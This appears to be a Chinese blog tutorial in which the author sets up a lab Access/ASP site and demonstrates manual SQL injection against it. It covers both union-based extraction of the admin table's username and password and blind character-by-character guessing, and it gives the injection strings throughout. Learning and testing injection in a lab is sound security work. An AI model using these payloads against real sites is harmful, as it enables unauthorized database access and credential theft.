access手工注入
哈哈哈哈,,,我顾北清又回来啦,接着更新。
实验环境:win2008R2虚拟机,物理机(也就是我的win10)。
搭建环境用的是access+asp源码。
环境搭建可以参照这里,不同的是在第六步勾选应用程序开发
选项。
环境搞完之后大概是这个样子的:
接着来手工注入一下。
首先判断有没有注入点,随便点进一个页面:
%20
是空格的转码。
and 1=1
没有出错,再来试试and 1=2
。
出错了,说明它将这条语句带入查询了,说明存在注入点。
1.联合查询法
先判断字段长度,使用order by 猜测的长度
。
我这里猜测长度是22(因为我事先知道/滑稽脸,所以命令是order by 22
。
判断到22的时候是正常的,到23的时候报错了,说明,字段长度是22。
然后来猜解表名,使用的命令是:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
.
admin
是我猜解的表名。
发现这里爆出一个3
和15
,说明3
和15
这两个位置存在数据,接着来用猜解的数据替换这两个位置。
图中的admin
和password
是猜解的字段,如果此阿姐正确就会爆出这两个位置的数据,这样就拿到了账号密码。
2.逐字猜解法
首先判断是否存在某个表:
这里使用的命令是and exists ( select * from admin)
,判断是否存在admin
表。
没有报错,说明存在admin
表,接着来判断admin
表中的字段,这里使用and exists ( select admin from admin)
命令判断在admin
表中是否存在admin
字段。
没有报错说明存在,接着看看有没有password
字段。
发现也没有报错,说明存在。
然后判断这两个字段对应数据的长度。
因为我事先知道对应关系,所里我就直接判断admin
的长度是5,password
的长度是16。
使用语句是and (select top 1 len(列名) from admin)=长度值
。
可以使用and (select top 1 len(列名) from admin)>长度值
来缩小范围。
这样我就判断出了数据的长度,然后根据数据长度反推数据。
使用的命令是and (select top 1 asc(mid(列名,第几位,1)) from admin)=长度值
,这里的长度值是ASCII码。
我使用的命令是and (select top 1 asc(mid(admin,1,1)) from admin)=97
可以看到没有报错,这里97
对应的是a
,而我的admin
列里的数据是admin
,刚好对应,如果换成98,那么就会报错。
以此类推,猜解出数据。